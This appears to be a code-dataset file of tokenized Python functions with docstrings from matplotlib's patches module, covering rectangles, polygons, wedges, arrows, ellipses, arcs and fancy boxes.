{"signature": "def set_fill(self, b):", "body": "self.fill = b<EOL>", "docstring": "Set whether to fill the patch\n\nACCEPTS: [True | False]", "id": "f17197:c0:m23"}
{"signature": "def get_fill(self):", "body": "return self.fill<EOL>", "docstring": "return whether fill is set", "id": "f17197:c0:m24"}
{"signature": "def set_hatch(self, h):", "body": "self._hatch = h<EOL>", "docstring": "Set the hatching pattern\n\nhatch can be one of::\n\n  /   - diagonal hatching\n  \\   - back diagonal\n  |   - vertical\n  -   - horizontal\n  #   - crossed\n  x   - crossed diagonal\n\nLetters can be combined, in which case all the specified\nhatchings are done.  If same letter repeats, it increases the\ndensity of hatching in that direction.\n\nCURRENT LIMITATIONS:\n\n1. Hatching is supported in the PostScript backend only.\n\n2. Hatching is done with solid black lines of width 0.\n\n\nACCEPTS: [ '/' | '\\\\' | '|' | '-' | '#' | 'x' ]", "id": "f17197:c0:m25"}
{"signature": "def get_hatch(self):", "body": "return self._hatch<EOL>", "docstring": "Return the current hatching pattern", "id": "f17197:c0:m26"}
{"signature": "def draw(self, renderer):", "body": "if not self.get_visible(): return<EOL>gc = renderer.new_gc()<EOL>if cbook.is_string_like(self._edgecolor) and self._edgecolor.lower()=='<STR_LIT:none>':<EOL><INDENT>gc.set_linewidth(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>gc.set_foreground(self._edgecolor)<EOL>gc.set_linewidth(self._linewidth)<EOL>gc.set_linestyle(self._linestyle)<EOL><DEDENT>gc.set_antialiased(self._antialiased)<EOL>self._set_gc_clip(gc)<EOL>gc.set_capstyle('<STR_LIT>')<EOL>gc.set_url(self._url)<EOL>gc.set_snap(self._snap)<EOL>if (not self.fill or self._facecolor is None or<EOL>(cbook.is_string_like(self._facecolor) and self._facecolor.lower()=='<STR_LIT:none>')):<EOL><INDENT>rgbFace = None<EOL>gc.set_alpha(<NUM_LIT:1.0>)<EOL><DEDENT>else:<EOL><INDENT>r, g, b, a = colors.colorConverter.to_rgba(self._facecolor, self._alpha)<EOL>rgbFace = (r, g, b)<EOL>gc.set_alpha(a)<EOL><DEDENT>if self._hatch:<EOL><INDENT>gc.set_hatch(self._hatch )<EOL><DEDENT>path = self.get_path()<EOL>transform = self.get_transform()<EOL>tpath = transform.transform_path_non_affine(path)<EOL>affine = transform.get_affine()<EOL>renderer.draw_path(gc, tpath, affine, rgbFace)<EOL>", "docstring": "Draw the :class:`Patch` to the given *renderer*.", "id": "f17197:c0:m27"}
{"signature": "def get_path(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Return the path of this patch", "id": "f17197:c0:m28"}
{"signature": "def __init__(self, patch, ox, oy, props=None, **kwargs):", "body": "Patch.__init__(self)<EOL>self.patch = patch<EOL>self.props = props<EOL>self._ox, self._oy = ox, oy<EOL>self._update_transform()<EOL>self._update()<EOL>", "docstring": "Create a shadow of the given *patch* offset by *ox*, *oy*.\n*props*, if not *None*, is a patch property update dictionary.\nIf *None*, the shadow will have have the same color as the face,\nbut darkened.\n\nkwargs are\n%(Patch)s", "id": "f17197:c1:m1"}
{"signature": "def __init__(self, xy, width, height, **kwargs):", "body": "Patch.__init__(self, **kwargs)<EOL>self._x = xy[<NUM_LIT:0>]<EOL>self._y = xy[<NUM_LIT:1>]<EOL>self._width = width<EOL>self._height = height<EOL>self._rect_transform = transforms.IdentityTransform()<EOL>", "docstring": "*fill* is a boolean indicating whether to fill the rectangle\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c2:m1"}
{"signature": "def get_path(self):", "body": "return Path.unit_rectangle()<EOL>", "docstring": "Return the vertices of the rectangle", "id": "f17197:c2:m2"}
{"signature": "def _update_patch_transform(self):", "body": "x = self.convert_xunits(self._x)<EOL>y = self.convert_yunits(self._y)<EOL>width = self.convert_xunits(self._width)<EOL>height = self.convert_yunits(self._height)<EOL>bbox = transforms.Bbox.from_bounds(x, y, width, height)<EOL>self._rect_transform = transforms.BboxTransformTo(bbox)<EOL>", "docstring": "NOTE: This cannot be called until after this has been added\n                 to an Axes, otherwise unit conversion will fail. This\n                 maxes it very important to call the accessor method and\n                 not directly access the transformation member variable.", "id": "f17197:c2:m3"}
{"signature": "def get_x(self):", "body": "return self._x<EOL>", "docstring": "Return the left coord of the rectangle", "id": "f17197:c2:m6"}
{"signature": "def get_y(self):", "body": "return self._y<EOL>", "docstring": "Return the bottom coord of the rectangle", "id": "f17197:c2:m7"}
{"signature": "def get_xy(self):", "body": "return self._x, self._y<EOL>", "docstring": "Return the left and bottom coords of the rectangle", "id": "f17197:c2:m8"}
{"signature": "def get_width(self):", "body": "return self._width<EOL>", "docstring": "Return the width of the  rectangle", "id": "f17197:c2:m9"}
{"signature": "def get_height(self):", "body": "return self._height<EOL>", "docstring": "Return the height of the rectangle", "id": "f17197:c2:m10"}
{"signature": "def set_x(self, x):", "body": "self._x = x<EOL>", "docstring": "Set the left coord of the rectangle\n\nACCEPTS: float", "id": "f17197:c2:m11"}
{"signature": "def set_y(self, y):", "body": "self._y = y<EOL>", "docstring": "Set the bottom coord of the rectangle\n\nACCEPTS: float", "id": "f17197:c2:m12"}
{"signature": "def set_xy(self, xy):", "body": "self._x, self._y = xy<EOL>", "docstring": "Set the left and bottom coords of the rectangle\n\nACCEPTS: 2-item sequence", "id": "f17197:c2:m13"}
{"signature": "def set_width(self, w):", "body": "self._width = w<EOL>", "docstring": "Set the width rectangle\n\nACCEPTS: float", "id": "f17197:c2:m14"}
{"signature": "def set_height(self, h):", "body": "self._height = h<EOL>", "docstring": "Set the width rectangle\n\nACCEPTS: float", "id": "f17197:c2:m15"}
{"signature": "def set_bounds(self, *args):", "body": "if len(args)==<NUM_LIT:0>:<EOL><INDENT>l,b,w,h = args[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>l,b,w,h = args<EOL><DEDENT>self._x = l<EOL>self._y = b<EOL>self._width = w<EOL>self._height = h<EOL>", "docstring": "Set the bounds of the rectangle: l,b,w,h\n\nACCEPTS: (left, bottom, width, height)", "id": "f17197:c2:m16"}
{"signature": "def __init__(self, xy, numVertices, radius=<NUM_LIT:5>, orientation=<NUM_LIT:0>,<EOL>**kwargs):", "body": "self._xy = xy<EOL>self._numVertices = numVertices<EOL>self._orientation = orientation<EOL>self._radius = radius<EOL>self._path = Path.unit_regular_polygon(numVertices)<EOL>self._poly_transform = transforms.Affine2D()<EOL>self._update_transform()<EOL>Patch.__init__(self, **kwargs)<EOL>", "docstring": "Constructor arguments:\n\n*xy*\n  A length 2 tuple (*x*, *y*) of the center.\n\n*numVertices*\n  the number of vertices.\n\n*radius*\n  The distance from the center to each of the vertices.\n\n*orientation*\n  rotates the polygon (in radians).\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c3:m1"}
{"signature": "def __init__(self, path, **kwargs):", "body": "Patch.__init__(self, **kwargs)<EOL>self._path = path<EOL>", "docstring": "*path* is a :class:`matplotlib.path.Path` object.\n\nValid kwargs are:\n%(Patch)s\n\n.. seealso::\n    :class:`Patch`:\n        For additional kwargs", "id": "f17197:c4:m1"}
{"signature": "def __init__(self, xy, closed=True, **kwargs):", "body": "Patch.__init__(self, **kwargs)<EOL>xy = np.asarray(xy, np.float_)<EOL>self._path = Path(xy)<EOL>self.set_closed(closed)<EOL>", "docstring": "*xy* is a numpy array with shape Nx2.\n\nIf *closed* is *True*, the polygon will be closed so the\nstarting and ending points are the same.\n\nValid kwargs are:\n%(Patch)s\n\n.. seealso::\n    :class:`Patch`:\n        For additional kwargs", "id": "f17197:c5:m1"}
{"signature": "def __init__(self, center, r, theta1, theta2, width=None, **kwargs):", "body": "Patch.__init__(self, **kwargs)<EOL>self.center = center<EOL>self.r,self.width = r,width<EOL>self.theta1,self.theta2 = theta1,theta2<EOL>delta=theta2-theta1<EOL>if abs((theta2-theta1) - <NUM_LIT>) <= <NUM_LIT>:<EOL><INDENT>theta1,theta2 = <NUM_LIT:0>,<NUM_LIT><EOL>connector = Path.MOVETO<EOL><DEDENT>else:<EOL><INDENT>connector = Path.LINETO<EOL><DEDENT>arc = Path.arc(theta1,theta2)<EOL>if width is not None:<EOL><INDENT>v1 = arc.vertices<EOL>v2 = arc.vertices[::-<NUM_LIT:1>]*float(r-width)/r<EOL>v = np.vstack([v1,v2,v1[<NUM_LIT:0>,:],(<NUM_LIT:0>,<NUM_LIT:0>)])<EOL>c = np.hstack([arc.codes,arc.codes,connector,Path.CLOSEPOLY])<EOL>c[len(arc.codes)]=connector<EOL><DEDENT>else:<EOL><INDENT>v = np.vstack([arc.vertices,[(<NUM_LIT:0>,<NUM_LIT:0>),arc.vertices[<NUM_LIT:0>,:],(<NUM_LIT:0>,<NUM_LIT:0>)]])<EOL>c = np.hstack([arc.codes,[connector,connector,Path.CLOSEPOLY]])<EOL><DEDENT>v *= r<EOL>v += np.asarray(center)<EOL>self._path = Path(v,c)<EOL>self._patch_transform = transforms.IdentityTransform()<EOL>", "docstring": "Draw a wedge centered at *x*, *y* center with radius *r* that\nsweeps *theta1* to *theta2* (in degrees).  If *width* is given,\nthen a partial wedge is drawn from inner radius *r* - *width*\nto outer radius *r*.\n\nValid kwargs are:\n\n%(Patch)s", "id": "f17197:c6:m1"}
{"signature": "def __init__( self, x, y, dx, dy, width=<NUM_LIT:1.0>, **kwargs ):", "body": "Patch.__init__(self, **kwargs)<EOL>L = np.sqrt(dx**<NUM_LIT:2>+dy**<NUM_LIT:2>) or <NUM_LIT:1> <EOL>cx = float(dx)/L<EOL>sx = float(dy)/L<EOL>trans1 = transforms.Affine2D().scale(L, width)<EOL>trans2 = transforms.Affine2D.from_values(cx, sx, -sx, cx, <NUM_LIT:0.0>, <NUM_LIT:0.0>)<EOL>trans3 = transforms.Affine2D().translate(x, y)<EOL>trans = trans1 + trans2 + trans3<EOL>self._patch_transform = trans.frozen()<EOL>", "docstring": "Draws an arrow, starting at (*x*, *y*), direction and length\ngiven by (*dx*, *dy*) the width of the arrow is scaled by *width*.\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c7:m1"}
{"signature": "def __init__(self, x, y, dx, dy, width=<NUM_LIT>, length_includes_head=False,head_width=None, head_length=None, shape='<STR_LIT>', overhang=<NUM_LIT:0>,head_starts_at_zero=False,**kwargs):", "body": "if head_width is None:<EOL><INDENT>head_width = <NUM_LIT:3> * width<EOL><DEDENT>if head_length is None:<EOL><INDENT>head_length = <NUM_LIT> * head_width<EOL><DEDENT>distance = np.sqrt(dx**<NUM_LIT:2> + dy**<NUM_LIT:2>)<EOL>if length_includes_head:<EOL><INDENT>length=distance<EOL><DEDENT>else:<EOL><INDENT>length=distance+head_length<EOL><DEDENT>if not length:<EOL><INDENT>verts = [] <EOL><DEDENT>else:<EOL><INDENT>hw, hl, hs, lw = head_width, head_length, overhang, width<EOL>left_half_arrow = np.array([<EOL>[<NUM_LIT:0.0>,<NUM_LIT:0.0>],                  <EOL>[-hl, -hw/<NUM_LIT>],             <EOL>[-hl*(<NUM_LIT:1>-hs), -lw/<NUM_LIT>], <EOL>[-length, -lw/<NUM_LIT>],          <EOL>[-length, <NUM_LIT:0>],<EOL>])<EOL>if not length_includes_head:<EOL><INDENT>left_half_arrow += [head_length, <NUM_LIT:0>]<EOL><DEDENT>if head_starts_at_zero:<EOL><INDENT>left_half_arrow += [head_length/<NUM_LIT>, <NUM_LIT:0>]<EOL><DEDENT>if shape == '<STR_LIT:left>':<EOL><INDENT>coords = left_half_arrow<EOL><DEDENT>else:<EOL><INDENT>right_half_arrow = left_half_arrow*[<NUM_LIT:1>,-<NUM_LIT:1>]<EOL>if shape == '<STR_LIT:right>':<EOL><INDENT>coords = right_half_arrow<EOL><DEDENT>elif shape == '<STR_LIT>':<EOL><INDENT>coords=np.concatenate([left_half_arrow[:-<NUM_LIT:1>],<EOL>right_half_arrow[-<NUM_LIT:2>::-<NUM_LIT:1>]])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % shape)<EOL><DEDENT><DEDENT>cx = float(dx)/distance<EOL>sx = float(dy)/distance<EOL>M = np.array([[cx, sx],[-sx,cx]])<EOL>verts = np.dot(coords, M) + (x+dx, y+dy)<EOL><DEDENT>Polygon.__init__(self, list(map(tuple, verts)), **kwargs)<EOL>", "docstring": "Constructor arguments\n\n    *length_includes_head*:\n       *True* if head is counted in calculating the length.\n\n    *shape*: ['full', 'left', 'right']\n\n    *overhang*:\n      distance that the arrow is swept back (0 overhang means\n      triangular shape).\n\n    *head_starts_at_zero*:\n      If *True*, the head starts being drawn at coordinate 0\n      instead of ending at coordinate 0.\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c8:m1"}
{"signature": "def __init__(self, figure, xytip, xybase, width=<NUM_LIT:4>, frac=<NUM_LIT:0.1>, headwidth=<NUM_LIT:12>, **kwargs):", "body": "self.figure = figure<EOL>self.xytip = xytip<EOL>self.xybase = xybase<EOL>self.width = width<EOL>self.frac = frac<EOL>self.headwidth = headwidth<EOL>Patch.__init__(self, **kwargs)<EOL>", "docstring": "Constructor arguments:\n\n*xytip*\n  (*x*, *y*) location of arrow tip\n\n*xybase*\n  (*x*, *y*) location the arrow base mid point\n\n*figure*\n  The :class:`~matplotlib.figure.Figure` instance\n  (fig.dpi)\n\n*width*\n  The width of the arrow in points\n\n*frac*\n  The fraction of the arrow length occupied by the head\n\n*headwidth*\n  The width of the base of the arrow head in points\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c9:m1"}
{"signature": "def getpoints(self, x1,y1,x2,y2, k):", "body": "x1,y1,x2,y2,k = list(map(float, (x1,y1,x2,y2,k)))<EOL>if y2-y1 == <NUM_LIT:0>:<EOL><INDENT>return x2, y2+k, x2, y2-k<EOL><DEDENT>elif x2-x1 == <NUM_LIT:0>:<EOL><INDENT>return x2+k, y2, x2-k, y2<EOL><DEDENT>m = (y2-y1)/(x2-x1)<EOL>pm = -<NUM_LIT:1.>/m<EOL>a = <NUM_LIT:1><EOL>b = -<NUM_LIT:2>*y2<EOL>c = y2**<NUM_LIT> - k**<NUM_LIT>*pm**<NUM_LIT>/(<NUM_LIT:1.> + pm**<NUM_LIT>)<EOL>y3a = (-b + math.sqrt(b**<NUM_LIT>-<NUM_LIT:4>*a*c))/(<NUM_LIT>*a)<EOL>x3a = (y3a - y2)/pm + x2<EOL>y3b = (-b - math.sqrt(b**<NUM_LIT>-<NUM_LIT:4>*a*c))/(<NUM_LIT>*a)<EOL>x3b = (y3b - y2)/pm + x2<EOL>return x3a, y3a, x3b, y3b<EOL>", "docstring": "For line segment defined by (*x1*, *y1*) and (*x2*, *y2*)\nreturn the points on the line that is perpendicular to the\nline and intersects (*x2*, *y2*) and the distance from (*x2*,\n*y2*) of the returned points is *k*.", "id": "f17197:c9:m4"}
{"signature": "def __init__(self, xy, radius=<NUM_LIT:5>,<EOL>resolution=<NUM_LIT:20>,  <EOL>**kwargs):", "body": "RegularPolygon.__init__(self, xy,<EOL>resolution,<EOL>radius,<EOL>orientation=<NUM_LIT:0>,<EOL>**kwargs)<EOL>", "docstring": "Create a circle at *xy* = (*x*, *y*) with given *radius*.\nThis circle is approximated by a regular polygon with\n*resolution* sides.  For a smoother circle drawn with splines,\nsee :class:`~matplotlib.patches.Circle`.\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c10:m1"}
{"signature": "def __init__(self, xy, width, height, angle=<NUM_LIT:0.0>, **kwargs):", "body": "Patch.__init__(self, **kwargs)<EOL>self.center = xy<EOL>self.width, self.height = width, height<EOL>self.angle = angle<EOL>self._path = Path.unit_circle()<EOL>self._patch_transform = transforms.IdentityTransform()<EOL>", "docstring": "*xy*\n  center of ellipse\n\n*width*\n  length of horizontal axis\n\n*height*\n  length of vertical axis\n\n*angle*\n  rotation in degrees (anti-clockwise)\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c11:m1"}
{"signature": "def _recompute_transform(self):", "body": "center = (self.convert_xunits(self.center[<NUM_LIT:0>]),<EOL>self.convert_yunits(self.center[<NUM_LIT:1>]))<EOL>width = self.convert_xunits(self.width)<EOL>height = self.convert_yunits(self.height)<EOL>self._patch_transform = transforms.Affine2D().scale(width * <NUM_LIT:0.5>, height * <NUM_LIT:0.5>).rotate_deg(self.angle).translate(*center)<EOL>", "docstring": "NOTE: This cannot be called until after this has been added\n                 to an Axes, otherwise unit conversion will fail. This\n                 maxes it very important to call the accessor method and\n                 not directly access the transformation member variable.", "id": "f17197:c11:m2"}
{"signature": "def get_path(self):", "body": "return self._path<EOL>", "docstring": "Return the vertices of the rectangle", "id": "f17197:c11:m3"}
{"signature": "def __init__(self, xy, radius=<NUM_LIT:5>, **kwargs):", "body": "if '<STR_LIT>' in kwargs:<EOL><INDENT>import warnings<EOL>warnings.warn('<STR_LIT>', DeprecationWarning)<EOL>kwargs.pop('<STR_LIT>')<EOL><DEDENT>self.radius = radius<EOL>Ellipse.__init__(self, xy, radius*<NUM_LIT:2>, radius*<NUM_LIT:2>, **kwargs)<EOL>", "docstring": "Create true circle at center *xy* = (*x*, *y*) with given\n*radius*.  Unlike :class:`~matplotlib.patches.CirclePolygon`\nwhich is a polygonal approximation, this uses B\u00e9zier splines\nand is much closer to a scale-free circle.\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c12:m1"}
{"signature": "def __init__(self, xy, width, height, angle=<NUM_LIT:0.0>, theta1=<NUM_LIT:0.0>, theta2=<NUM_LIT>, **kwargs):", "body": "fill = kwargs.pop('<STR_LIT>')<EOL>if fill:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>kwargs['<STR_LIT>'] = False<EOL>Ellipse.__init__(self, xy, width, height, angle, **kwargs)<EOL>self.theta1 = theta1<EOL>self.theta2 = theta2<EOL>", "docstring": "The following args are supported:\n\n*xy*\n  center of ellipse\n\n*width*\n  length of horizontal axis\n\n*height*\n  length of vertical axis\n\n*angle*\n  rotation in degrees (anti-clockwise)\n\n*theta1*\n  starting angle of the arc in degrees\n\n*theta2*\n  ending angle of the arc in degrees\n\nIf *theta1* and *theta2* are not provided, the arc will form a\ncomplete ellipse.\n\nValid kwargs are:\n\n%(Patch)s", "id": "f17197:c13:m1"}
{"signature": "def draw(self, renderer):", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>self._recompute_transform()<EOL>width = self.convert_xunits(self.width)<EOL>height = self.convert_yunits(self.height)<EOL>width, height = self.get_transform().transform_point(<EOL>(width, height))<EOL>inv_error = (<NUM_LIT:1.0> / <NUM_LIT>) * <NUM_LIT:0.5><EOL>if width < inv_error and height < inv_error:<EOL><INDENT>self._path = Path.arc(self.theta1, self.theta2)<EOL>return Patch.draw(self, renderer)<EOL><DEDENT>def iter_circle_intersect_on_line(x0, y0, x1, y1):<EOL><INDENT>dx = x1 - x0<EOL>dy = y1 - y0<EOL>dr2 = dx*dx + dy*dy<EOL>D = x0*y1 - x1*y0<EOL>D2 = D*D<EOL>discrim = dr2 - D2<EOL>if discrim == <NUM_LIT:0.0>:<EOL><INDENT>x = (D*dy) / dr2<EOL>y = (-D*dx) / dr2<EOL>yield x, y<EOL><DEDENT>elif discrim > <NUM_LIT:0.0>:<EOL><INDENT>if dy < <NUM_LIT:0.0>:<EOL><INDENT>sign_dy = -<NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>sign_dy = <NUM_LIT:1.0><EOL><DEDENT>sqrt_discrim = np.sqrt(discrim)<EOL>for sign in (<NUM_LIT:1.>, -<NUM_LIT:1.>):<EOL><INDENT>x = (D*dy + sign * sign_dy * dx * sqrt_discrim) / dr2<EOL>y = (-D*dx + sign * np.abs(dy) * sqrt_discrim) / dr2<EOL>yield x, y<EOL><DEDENT><DEDENT><DEDENT>def iter_circle_intersect_on_line_seg(x0, y0, x1, y1):<EOL><INDENT>epsilon = <NUM_LIT><EOL>if x1 < x0:<EOL><INDENT>x0e, x1e = x1, x0<EOL><DEDENT>else:<EOL><INDENT>x0e, x1e = x0, x1<EOL><DEDENT>if y1 < y0:<EOL><INDENT>y0e, y1e = y1, y0<EOL><DEDENT>else:<EOL><INDENT>y0e, y1e = y0, y1<EOL><DEDENT>x0e -= epsilon<EOL>y0e -= epsilon<EOL>x1e += epsilon<EOL>y1e += epsilon<EOL>for x, y in iter_circle_intersect_on_line(x0, y0, x1, y1):<EOL><INDENT>if x >= x0e and x <= x1e and y >= y0e and y <= y1e:<EOL><INDENT>yield x, y<EOL><DEDENT><DEDENT><DEDENT>box_path = Path.unit_rectangle()<EOL>box_path_transform = transforms.BboxTransformTo(self.axes.bbox) +self.get_transform().inverted()<EOL>box_path = box_path.transformed(box_path_transform)<EOL>PI = np.pi<EOL>TWOPI = PI * <NUM_LIT><EOL>RAD2DEG = <NUM_LIT> / PI<EOL>DEG2RAD = PI / <NUM_LIT><EOL>theta1 = self.theta1<EOL>theta2 = self.theta2<EOL>thetas = {}<EOL>for p0, p1 in zip(box_path.vertices[:-<NUM_LIT:1>], box_path.vertices[<NUM_LIT:1>:]):<EOL><INDENT>x0, y0 = p0<EOL>x1, y1 = p1<EOL>for x, y in iter_circle_intersect_on_line_seg(x0, y0, x1, y1):<EOL><INDENT>theta = np.arccos(x)<EOL>if y < <NUM_LIT:0>:<EOL><INDENT>theta = TWOPI - theta<EOL><DEDENT>theta *= RAD2DEG<EOL>if theta > theta1 and theta < theta2:<EOL><INDENT>thetas[theta] = None<EOL><DEDENT><DEDENT><DEDENT>thetas = list(thetas.keys())<EOL>thetas.sort()<EOL>thetas.append(theta2)<EOL>last_theta = theta1<EOL>theta1_rad = theta1 * DEG2RAD<EOL>inside = box_path.contains_point((np.cos(theta1_rad), np.sin(theta1_rad)))<EOL>for theta in thetas:<EOL><INDENT>if inside:<EOL><INDENT>self._path = Path.arc(last_theta, theta, <NUM_LIT:8>)<EOL>Patch.draw(self, renderer)<EOL>inside = False<EOL><DEDENT>else:<EOL><INDENT>inside = True<EOL><DEDENT>last_theta = theta<EOL><DEDENT>", "docstring": "Ellipses are normally drawn using an approximation that uses\neight cubic bezier splines.  The error of this approximation\nis 1.89818e-6, according to this unverified source:\n\n  Lancaster, Don.  Approximating a Circle or an Ellipse Using\n  Four Bezier Cubic Splines.\n\n  http://www.tinaja.com/glib/ellipse4.pdf\n\nThere is a use case where very large ellipses must be drawn\nwith very high accuracy, and it is too expensive to render the\nentire ellipse with enough segments (either splines or line\nsegments).  Therefore, in the case where either radius of the\nellipse is large enough that the error of the spline\napproximation will be visible (greater than one pixel offset\nfrom the ideal), a different technique is used.\n\nIn that case, only the visible parts of the ellipse are drawn,\nwith each visible arc using a fixed number of spline segments\n(8).  The algorithm proceeds as follows:\n\n  1. The points where the ellipse intersects the axes bounding\n     box are located.  (This is done be performing an inverse\n     transformation on the axes bbox such that it is relative\n     to the unit circle -- this makes the intersection\n     calculation much easier than doing rotated ellipse\n     intersection directly).\n\n     This uses the \"line intersecting a circle\" algorithm\n     from:\n\n       Vince, John.  Geometry for Computer Graphics: Formulae,\n       Examples & Proofs.  London: Springer-Verlag, 2005.\n\n  2. The angles of each of the intersection points are\n     calculated.\n\n  3. Proceeding counterclockwise starting in the positive\n     x-direction, each of the visible arc-segments between the\n     pairs of vertices are drawn using the bezier arc\n     approximation technique implemented in\n     :meth:`matplotlib.path.Path.arc`.", "id": "f17197:c13:m2"}
{"signature": "def __new__(self, stylename, **kw):", "body": "<EOL>_list = stylename.replace(\"<STR_LIT:U+0020>\",\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")<EOL>_name = _list[<NUM_LIT:0>].lower()<EOL>try:<EOL><INDENT>_cls = self._style_list[_name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % stylename)<EOL><DEDENT>try:<EOL><INDENT>_args_pair = [cs.split(\"<STR_LIT:=>\") for cs in _list[<NUM_LIT:1>:]]<EOL>_args = dict([(k, float(v)) for k, v in _args_pair])<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % stylename)<EOL><DEDENT>_args.update(kw)<EOL>return _cls(**_args)<EOL>", "docstring": "return the instance of the subclass with the given style name.", "id": "f17197:c14:m0"}
{"signature": "@classmethod<EOL><INDENT>def get_styles(klass):<DEDENT>", "body": "return klass._style_list<EOL>", "docstring": "A class method which returns a dictionary of available styles.", "id": "f17197:c14:m1"}
{"signature": "@classmethod<EOL><INDENT>def pprint_styles(klass):<DEDENT>", "body": "return _pprint_styles(klass._style_list)<EOL>", "docstring": "A class method which returns a string of the available styles.", "id": "f17197:c14:m2"}
{"signature": "def __init__(self, xy, width, height,<EOL>boxstyle=\"<STR_LIT>\",<EOL>bbox_transmuter=None,<EOL>mutation_scale=<NUM_LIT:1.>,<EOL>mutation_aspect=None,<EOL>**kwargs):", "body": "Patch.__init__(self, **kwargs)<EOL>self._x = xy[<NUM_LIT:0>]<EOL>self._y = xy[<NUM_LIT:1>]<EOL>self._width = width<EOL>self._height = height<EOL>if boxstyle == \"<STR_LIT>\":<EOL><INDENT>if bbox_transmuter is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._bbox_transmuter = bbox_transmuter<EOL><DEDENT>else:<EOL><INDENT>self.set_boxstyle(boxstyle)<EOL><DEDENT>self._mutation_scale=mutation_scale<EOL>self._mutation_aspect=mutation_aspect<EOL>", "docstring": "*xy* = lower left corner\n\n*width*, *height*\n\n*boxstyle* determines what kind of fancy box will be drawn. It\ncan be a string of the style name with a comma separated\nattribute, or an instance of :class:`BoxStyle`. Following box\nstyles are available.\n\n%(AvailableBoxstyles)s\n\n*mutation_scale* : a value with which attributes of boxstyle\n(e.g., pad) will be scaled. default=1.\n\n*mutation_aspect* : The height of the rectangle will be\nsqueezed by this value before the mutation and the mutated\nbox will be stretched by the inverse of it. default=None.\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c16:m1"}
{"signature": "def set_boxstyle(self, boxstyle=None, **kw):", "body": "if boxstyle==None:<EOL><INDENT>return BoxStyle.pprint_styles()<EOL><DEDENT>if isinstance(boxstyle, BoxStyle._Base):<EOL><INDENT>self._bbox_transmuter = boxstyle<EOL><DEDENT>elif callable(boxstyle):<EOL><INDENT>self._bbox_transmuter = boxstyle<EOL><DEDENT>else:<EOL><INDENT>self._bbox_transmuter = BoxStyle(boxstyle, **kw)<EOL><DEDENT>", "docstring": "Set the box style.\n\n*boxstyle* can be a string with boxstyle name with optional\ncomma-separated attributes. Alternatively, the attrs can\nbe provided as keywords::\n\n    set_boxstyle(\"round,pad=0.2\")\n    set_boxstyle(\"round\", pad=0.2)\n\nOld attrs simply are forgotten.\n\nWithout argument (or with *boxstyle* = None), it returns\navailable box styles.\n\nACCEPTS: [ %(AvailableBoxstyles)s ]", "id": "f17197:c16:m2"}
{"signature": "def set_mutation_scale(self, scale):", "body": "self._mutation_scale=scale<EOL>", "docstring": "Set the mutation scale.\n\nACCEPTS: float", "id": "f17197:c16:m3"}
{"signature": "def get_mutation_scale(self):", "body": "return self._mutation_scale<EOL>", "docstring": "Return the mutation scale.", "id": "f17197:c16:m4"}
{"signature": "def set_mutation_aspect(self, aspect):", "body": "self._mutation_aspect=aspect<EOL>", "docstring": "Set the aspect ratio of the bbox mutation.\n\nACCEPTS: float", "id": "f17197:c16:m5"}
{"signature": "def get_mutation_aspect(self):", "body": "return self._mutation_aspect<EOL>", "docstring": "Return the aspect ratio of the bbox mutation.", "id": "f17197:c16:m6"}
{"signature": "def get_boxstyle(self):", "body": "return self._bbox_transmuter<EOL>", "docstring": "Return the boxstyle object", "id": "f17197:c16:m7"}
{"signature": "def get_path(self):", "body": "_path = self.get_boxstyle()(self._x, self._y,<EOL>self._width, self._height,<EOL>self.get_mutation_scale(),<EOL>self.get_mutation_aspect())<EOL>return _path<EOL>", "docstring": "Return the mutated path of the rectangle", "id": "f17197:c16:m8"}
{"signature": "def get_x(self):", "body": "return self._x<EOL>", "docstring": "Return the left coord of the rectangle", "id": "f17197:c16:m9"}
{"signature": "def get_y(self):", "body": "return self._y<EOL>", "docstring": "Return the bottom coord of the rectangle", "id": "f17197:c16:m10"}
{"signature": "def get_width(self):", "body": "return self._width<EOL>", "docstring": "Return the width of the  rectangle", "id": "f17197:c16:m11"}
{"signature": "def get_height(self):", "body": "return self._height<EOL>", "docstring": "Return the height of the rectangle", "id": "f17197:c16:m12"}
{"signature": "def set_x(self, x):", "body": "self._x = x<EOL>", "docstring": "Set the left coord of the rectangle\n\nACCEPTS: float", "id": "f17197:c16:m13"}
{"signature": "def set_y(self, y):", "body": "self._y = y<EOL>", "docstring": "Set the bottom coord of the rectangle\n\nACCEPTS: float", "id": "f17197:c16:m14"}
{"signature": "def set_width(self, w):", "body": "self._width = w<EOL>", "docstring": "Set the width rectangle\n\nACCEPTS: float", "id": "f17197:c16:m15"}
{"signature": "def set_height(self, h):", "body": "self._height = h<EOL>", "docstring": "Set the width rectangle\n\nACCEPTS: float", "id": "f17197:c16:m16"}
{"signature": "def set_bounds(self, *args):", "body": "if len(args)==<NUM_LIT:0>:<EOL><INDENT>l,b,w,h = args[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>l,b,w,h = args<EOL><DEDENT>self._x = l<EOL>self._y = b<EOL>self._width = w<EOL>self._height = h<EOL>", "docstring": "Set the bounds of the rectangle: l,b,w,h\n\nACCEPTS: (left, bottom, width, height)", "id": "f17197:c16:m17"}
